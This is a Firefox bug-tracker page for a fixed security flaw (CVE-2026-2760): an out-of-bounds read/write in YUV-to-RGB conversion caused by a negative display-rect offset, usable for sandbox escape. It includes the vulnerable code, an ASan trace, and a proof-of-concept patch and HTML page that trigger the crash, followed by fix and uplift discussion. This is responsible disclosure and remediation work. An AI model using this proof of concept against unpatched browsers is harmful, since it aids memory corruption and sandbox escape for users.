Closed Bug 2011062 (CVE-2026-2760) Opened 9 months ago Closed 9 months ago

OOBW/R due to invalid yuv conversion (sandbox escape)

Categories

(Core :: Graphics: WebRender, defect, P2)

defect

Tracking

()

RESOLVED FIXED
149 Branch
Tracking Status
firefox-esr115 148+ fixed
firefox-esr140 148+ fixed
firefox147 --- wontfix
firefox148 + fixed
firefox149 + fixed

People

(Reporter: oskarlindberg348, Assigned: bradwerth)

References

Details

(4 keywords, Whiteboard: [only affects some hardware][client-bounty-form][adv-main148+][adv-esr115.33+] [adv-esr140.8+])

Attachments

(4 external files)

Writeup follows

Flags: sec-bounty?

Background

Webrender api is used internally for rendering.
As part of the rendering chain, we can create textures hosted on the compositor via
ContentCompositorBridgeParent::AllocPTextureParent.
One of the textures which can be hosted is a YCB texture backed by shmem.

Vulnerabilities

When a texture is used in on some of webrender operations (like ``)
BufferTextureHost::GetAsSurface is called to extract a data suface,
this will call `ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor`, that converts the YCB to a RGB surface:

already_AddRefed<DataSourceSurface> DataSourceSurfaceFromYCbCrDescriptor(
    uint8_t* aBuffer, const YCbCrDescriptor& aDescriptor,
    gfx::DataSourceSurface* aSurface) {
  const gfx::IntRect display = aDescriptor.display();
  const gfx::IntSize size = display.Size();
  RefPtr<DataSourceSurface> result;
  if (aSurface) {
    MOZ_ASSERT(aSurface->GetSize() == size);
    MOZ_ASSERT(aSurface->GetFormat() == gfx::SurfaceFormat::B8G8R8X8);
    if (aSurface->GetSize() == size &&
        aSurface->GetFormat() == gfx::SurfaceFormat::B8G8R8X8) {
      result = aSurface;
    }
  }

  if (!result) {
    result =
        Factory::CreateDataSourceSurface(size, gfx::SurfaceFormat::B8G8R8X8);
  }
  if (NS_WARN_IF(!result)) {
    return nullptr;
  }

  DataSourceSurface::MappedSurface map;
  if (NS_WARN_IF(!result->Map(DataSourceSurface::MapType::WRITE, &map))) {
    return nullptr;
  }

  layers::PlanarYCbCrData ycbcrData;
  ycbcrData.mYChannel = GetYChannel(aBuffer, aDescriptor);
  ycbcrData.mYStride = aDescriptor.yStride();
  ycbcrData.mCbChannel = GetCbChannel(aBuffer, aDescriptor);
  ycbcrData.mCrChannel = GetCrChannel(aBuffer, aDescriptor);
  ycbcrData.mCbCrStride = aDescriptor.cbCrStride();
  ycbcrData.mPictureRect = aDescriptor.display();
  ycbcrData.mYUVColorSpace = aDescriptor.yUVColorSpace();
  ycbcrData.mColorDepth = aDescriptor.colorDepth();
  ycbcrData.mChromaSubsampling = aDescriptor.chromaSubsampling();

  if (NS_WARN_IF(NS_FAILED(
          gfx::ConvertYCbCrToRGB(ycbcrData, gfx::SurfaceFormat::B8G8R8X8, size,
                                 map.mData, map.mStride)))) {
    MOZ_ASSERT_UNREACHABLE("Failed to convert YUV into RGB data");
    return nullptr;
  }

  result->Unmap();
  return result.forget();
}

The conversion is done only on the display rect (as specified by the descriptor initialised display.Size();)
in ConvertYCbCrToRGB->ConvertYCbCrToRGB->ConvertYCbCrToRGB32, the actual conversion calls internals yuvlib functions that does the conversion based on cpu hw parameters.
in the case of ConvertYCbCrToRGB32_deprecated, which happens on either non-sse3 hw, or under gfx.ycbcr.accurate-conversion configuration:

nsresult
ConvertYCbCrToRGB32_deprecated(const uint8_t* y_buf,
                               const uint8_t* u_buf,
                               const uint8_t* v_buf,
                               uint8_t* rgb_buf,
                               int pic_x,
                               int pic_y,
                               int pic_width,
                               int pic_height,
                               int y_pitch,
                               int uv_pitch,
                               int rgb_pitch,
                               YUVType yuv_type,
                               RGB32Type rgb32_type) {
  unsigned int y_shift = yuv_type == YV12 ? 1 : 0;
  unsigned int x_shift = yuv_type == YV24 ? 0 : 1;
  // Test for SSE because the optimized code uses movntq, which is not part of MMX.
  bool has_sse = supports_mmx() && supports_sse();
  // There is no optimized YV24 SSE routine so we check for this and
  // fall back to the C code.
  has_sse &= yuv_type != YV24;
  bool odd_pic_x = yuv_type != YV24 && pic_x % 2 != 0;
  int x_width = odd_pic_x ? pic_width - 1 : pic_width;
  bool swap_uv = rgb32_type == RGB32Type::ABGR;
  const uint8_t* u_channel = swap_uv? v_buf : u_buf;
  const uint8_t* v_channel = swap_uv? u_buf : v_buf;

  for (int y = pic_y; y < pic_height + pic_y; ++y) { // [1]
    uint8_t* rgb_row = rgb_buf + (y - pic_y) * rgb_pitch; // [2]
    const uint8_t* y_ptr = y_buf + y * y_pitch + pic_x;
    const uint8_t* u_ptr = u_channel + (y >> y_shift) * uv_pitch + (pic_x >> x_shift);
    const uint8_t* v_ptr = v_channel + (y >> y_shift) * uv_pitch + (pic_x >> x_shift);

    if (odd_pic_x) {
      // Handle the single odd pixel manually and use the
      // fast routines for the remaining.
      FastConvertYUVToRGB32Row_C(y_ptr++,
                                 u_ptr++,
                                 v_ptr++,
                                 rgb_row,
                                 1,
                                 x_shift); // [3]
      rgb_row += 4;
    }

    if (has_sse) {
      FastConvertYUVToRGB32Row(y_ptr,
                               u_ptr,
                               v_ptr,
                               rgb_row,
                               x_width);
    }
    else {
      FastConvertYUVToRGB32Row_C(y_ptr,
                                 u_ptr,
                                 v_ptr,
                                 rgb_row,
                                 x_width,
                                 x_shift);
    }
  }

  // MMX used for FastConvertYUVToRGB32Row requires emms instruction.
  if (has_sse)
    EMMS();

  return NS_OK;
}

  1. Height range is initialised based on pic_y, which is the y offset of the display rect which is unvalidated.
  2. dest pixel address is calculated based on pic_y.
  3. actual conversion.

we can put a negative pic_y, which yields OOBRW on the src and dst pixels.

Asan report

==79110==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fa50ac09000 at pc 0x7fa5a6b636b4 bp 0x7fa4ee55e240 sp 0x7fa4ee55e238
READ of size 1 at 0x7fa50ac09000 thread T49
    #0 0x7fa5a6b636b3 in FastConvertYUVToRGB32Row_C /home/user/Downloads/firefox/gfx/ycbcr/yuv_row_c.cpp:56:18
    #1 0x7fa5a6b63032 in mozilla::gfx::ConvertYCbCrToRGB32_deprecated(unsigned char const*, unsigned char const*, unsigned char const*, unsigned char*, int, int, int, int, int, int, int, mozilla::gfx::YUVType, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/yuv_convert.cpp:267:7
    #2 0x7fa5a6b6261d in mozilla::gfx::ConvertYCbCrToRGB32(unsigned char const*, unsigned char const*, unsigned char const*, unsigned char*, int, int, int, int, int, int, int, mozilla::gfx::YUVType, mozilla::gfx::YUVColorSpace, mozilla::gfx::ColorRange, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/yuv_convert.cpp:117:12
    #3 0x7fa5a6b5de8c in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, mozilla::gfx::SurfaceFormat const&, unsigned char*, int, mozilla::gfx::YUVType, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/YCbCrUtils.cpp:271:10
    #4 0x7fa5a6b5de8c in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, mozilla::gfx::SurfaceFormat const&, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, unsigned char*, int) /home/user/Downloads/firefox/gfx/ycbcr/YCbCrUtils.cpp:308:14
    #5 0x7fa5a6d17582 in mozilla::layers::ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(unsigned char*, mozilla::layers::YCbCrDescriptor const&, mozilla::gfx::DataSourceSurface*) /home/user/Downloads/firefox/gfx/layers/ImageDataSerializer.cpp:323:7
    #6 0x7fa5a70e9bf0 in mozilla::layers::WebRenderBridgeParent::PushExternalImageForTexture(mozilla::wr::ExternalImageId, mozilla::wr::ImageKey, mozilla::layers::TextureHost*, bool, mozilla::wr::TransactionBuilder&) /home/user/Downloads/firefox/gfx/layers/wr/WebRenderBridgeParent.cpp:841:47

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/Downloads/firefox/gfx/ycbcr/yuv_row_c.cpp:56:18 in FastConvertYUVToRGB32Row_C
Shadow bytes around the buggy address:
  0x7fa50ac08d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fa50ac08e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fa50ac08e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fa50ac08f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fa50ac08f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fa50ac09000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7fa50ac09080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7fa50ac09100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7fa50ac09180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7fa50ac09200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7fa50ac09280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==79110==ABORTING

crashes on read, a write will follow.

Implications

Firefox latest

Reproduction

  1. Apply the following patch:
diff --git a/gfx/layers/wr/WebRenderCommandBuilder.cpp b/gfx/layers/wr/WebRenderCommandBuilder.cpp
index 1e9947b13c6c..41eaefe651e8 100644
--- a/gfx/layers/wr/WebRenderCommandBuilder.cpp
+++ b/gfx/layers/wr/WebRenderCommandBuilder.cpp
@@ -2299,20 +2299,20 @@ Maybe<wr::ImageKey> WebRenderCommandBuilder::CreateImageKey(
       CreateOrRecycleWebRenderUserData<WebRenderImageData>(aItem);
   MOZ_ASSERT(imageData);
 
-  if (aContainer->IsAsync()) {
-    MOZ_ASSERT(aAsyncImageBounds);
-
-    LayoutDeviceRect rect = aAsyncImageBounds.value();
-    LayoutDeviceRect scBounds(LayoutDevicePoint(0, 0), rect.Size());
-    // TODO!
-    // We appear to be using the image bridge for a lot (most/all?) of
-    // layers-free image handling and that breaks frame consistency.
-    imageData->CreateAsyncImageWebRenderCommands(
-        aBuilder, aContainer, aSc, rect, scBounds,
-        ToWrRotation(aContainer->GetRotation()), aRendering,
-        wr::MixBlendMode::Normal, !aItem->BackfaceIsHidden());
-    return Nothing();
-  }
+  // if (aContainer->IsAsync()) {
+  //   MOZ_ASSERT(aAsyncImageBounds);
+
+  //   LayoutDeviceRect rect = aAsyncImageBounds.value();
+  //   LayoutDeviceRect scBounds(LayoutDevicePoint(0, 0), rect.Size());
+  //   // TODO!
+  //   // We appear to be using the image bridge for a lot (most/all?) of
+  //   // layers-free image handling and that breaks frame consistency.
+  //   imageData->CreateAsyncImageWebRenderCommands(
+  //       aBuilder, aContainer, aSc, rect, scBounds,
+  //       ToWrRotation(aContainer->GetRotation()), aRendering,
+  //       wr::MixBlendMode::Normal, !aItem->BackfaceIsHidden());
+  //   return Nothing();
+  // }
 
   AutoLockImage autoLock(aContainer);
   if (!autoLock.HasImage()) {
diff --git a/gfx/layers/wr/WebRenderUserData.cpp b/gfx/layers/wr/WebRenderUserData.cpp
index 2bca5feda116..3281ad7b2125 100644
--- a/gfx/layers/wr/WebRenderUserData.cpp
+++ b/gfx/layers/wr/WebRenderUserData.cpp
@@ -6,9 +6,13 @@
 
 #include "WebRenderUserData.h"
 
+#include "ImageTypes.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/Types.h"
 #include "mozilla/image/WebRenderImageProvider.h"
 #include "mozilla/layers/AnimationHelper.h"
 #include "mozilla/layers/CompositorBridgeChild.h"
+#include "mozilla/layers/CompositorTypes.h"
 #include "mozilla/layers/ImageClient.h"
 #include "mozilla/layers/WebRenderBridgeChild.h"
 #include "mozilla/layers/RenderRootStateManager.h"
@@ -16,6 +20,7 @@
 #include "mozilla/layers/IpcResourceUpdateQueue.h"
 #include "mozilla/layers/SharedSurfacesChild.h"
 #include "mozilla/webgpu/WebGPUChild.h"
+#include "mozilla/webrender/webrender_ffi.h"
 #include "nsDisplayListInvalidation.h"
 #include "nsIFrame.h"
 #include "WebRenderCanvasRenderer.h"
@@ -146,9 +151,23 @@ Maybe<wr::ImageKey> WebRenderImageData::UpdateImageKey(
   ImageClientSingle* imageClient = mImageClient->AsImageClientSingle();
   uint32_t oldCounter = imageClient->GetLastUpdateGenerationCounter();
 
-  bool ret = imageClient->UpdateImage(aContainer);
+  // bool ret = imageClient->UpdateImage(aContainer);
   RefPtr<TextureClient> currentTexture = imageClient->GetForwardedTexture();
-  if (!ret || !currentTexture) {
+  const auto aDisplay = gfx::IntRect(0, -100, 0x100, 0x100);
+  const auto aYSize = gfx::IntSize(0x100, 2);
+  const auto aYStride = 0x100;
+  const auto aCbCrSize = gfx::IntSize(2, 2);
+  auto aCbCrStride = 0x2;
+  auto modifiedTexture = TextureClient::CreateForYCbCr(
+      WrBridge(), aDisplay, aYSize, aYStride, aCbCrSize,
+      aCbCrStride, StereoMode::MONO, gfx ::ColorDepth::COLOR_8,
+      gfx::YUVColorSpace::BT601, gfx::ColorRange::LIMITED,
+      gfx::ChromaSubsampling::FULL, TextureFlags::SNAPSHOT);
+
+  currentTexture = modifiedTexture;
+  currentTexture->InitIPDLActor(WrBridge()); // init the actor.
+
+  if (!currentTexture) {
     // Delete old key
     ClearImageKey();
     return Nothing();
@@ -166,7 +185,7 @@ Maybe<wr::ImageKey> WebRenderImageData::UpdateImageKey(
                    mTextureOfImage->GetSize() == currentTexture->GetSize() &&
                    mTextureOfImage->GetFormat() == currentTexture->GetFormat();
 
-  wr::MaybeExternalImageId extId = currentTexture->GetExternalImageKey();
+  wr::MaybeExternalImageId extId = Some(wr::ExternalImageId(0x1000));
   MOZ_RELEASE_ASSERT(extId.isSome());
 
   if (useUpdate) {

  1. Host the following index.html:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscrevenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

Found via manual auditing.

Group: firefox-core-security → gfx-core-security
Component: Security → Graphics
Product: Firefox → Core
Severity: -- → S2
Component: Graphics → Graphics: WebRender

Apparently we still do support hardware without sse3 (bug 1984610). How many of our users would this potentially affect? I expect the number of users who change the default for gfx.ycbcr.accurate-conversion to be vanishingly small.

See Also: → 1984610
Whiteboard: [client-bounty-form] → [only affects some hardware][client-bounty-form]

Thank you for the thorough explanation. I'll try to reproduce and if I can, to then build a patch.

Assignee: nobody → bwerth
Priority: -- → P2

I've applied the patch and tried the test file, but I can't reproduce. I'll attempt to build a patch based on the crash stack and the explanation of the vulnerability. Hopefully the fix can be tried out by the reporter or somebody else who can reproduce.

(In reply to Brad Werth [:bradwerth] from comment #4)

I've applied the patch and tried the test file, but I can't reproduce. I'll attempt to build a patch based on the crash stack and the explanation of the vulnerability. Hopefully the fix can be tried out by the reporter or somebody else who can reproduce.

assuming you have sse3, did you enable gfx.ycbcr.accurate-conversion?

Attached file (secure) —

Comment on attachment 9540767 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Easy to spot the problem with negative parameters. Unclear how easy it would be to create web content that would generate a negative DisplayRect in Gecko.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Easy to create
  • How likely is this patch to cause regressions; how much testing does it need?: Very unlikely, because it's unlikely that web content is capable of generating negative parameters to this function.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9540767 - Flags: sec-approval?

Unclear how easy it would be to create web content that would generate a negative DisplayRect in Gecko.

We probably do prevent things like that when processing web content, but bug reports like this presume a separate RCE bug in the sandboxed child process. The payload of that RCE would use this bug to escape the sandbox to deploy the final exploit.

Comment on attachment 9540767 [details]
(secure)

sec-approval+, a=dveditz

Attachment #9540767 - Flags: sec-approval? → sec-approval+
Pushed by bwerth@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/cf5ad2f2642e https://hg.mozilla.org/integration/autoland/rev/ff716200bcaa Reject negative origin or stride in YUV-to-RGB conversion. r=gfx-reviewers,nical
Group: gfx-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 9 months ago
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

The patch landed in nightly and beta is affected.
:bradwerth, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(bwerth)

Adding to comment 12, it applies cleanly to ESR140, but it needs a rebased patch for ESR115 uplift.

firefox-beta Uplift Approval Request

  • User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
  • String changes made/needed: none
  • Is Android affected?: yes
Attachment #9542944 - Flags: approval-mozilla-beta?
Attached file (secure) —
Attachment #9542944 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

firefox-esr140 Uplift Approval Request

  • User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
  • String changes made/needed: none
  • Is Android affected?: yes
Attachment #9542970 - Flags: approval-mozilla-esr140?
Attached file (secure) —

firefox-esr115 Uplift Approval Request

  • User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
  • String changes made/needed: none
  • Is Android affected?: yes
Attachment #9542981 - Flags: approval-mozilla-esr115?
Attached file (secure) —
QA Whiteboard: [sec] [uplift] [qa-triage-done-c149/b148]
Attachment #9542970 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attachment #9542981 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9542981 - Flags: approval-mozilla-esr115+ → approval-mozilla-esr115?
Attachment #9542981 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9542981 - Flags: approval-mozilla-esr115+ → approval-mozilla-esr115?

Backed out of ESR115 for causing build failures
Example Failures
:bradwerth, Bug 1907121 is not in ESR115, so it might explain the failures?

Flags: sec-bounty? → sec-bounty+
Attachment #9542981 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Whiteboard: [only affects some hardware][client-bounty-form] → [only affects some hardware][client-bounty-form][adv-main148+]
Whiteboard: [only affects some hardware][client-bounty-form][adv-main148+] → [only affects some hardware][client-bounty-form][adv-main148+][adv-esr115.33+]
Whiteboard: [only affects some hardware][client-bounty-form][adv-main148+][adv-esr115.33+] → [only affects some hardware][client-bounty-form][adv-main148+][adv-esr115.33+] [adv-esr140.8+]
Alias: CVE-2026-2760
Flags: needinfo?(bwerth)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: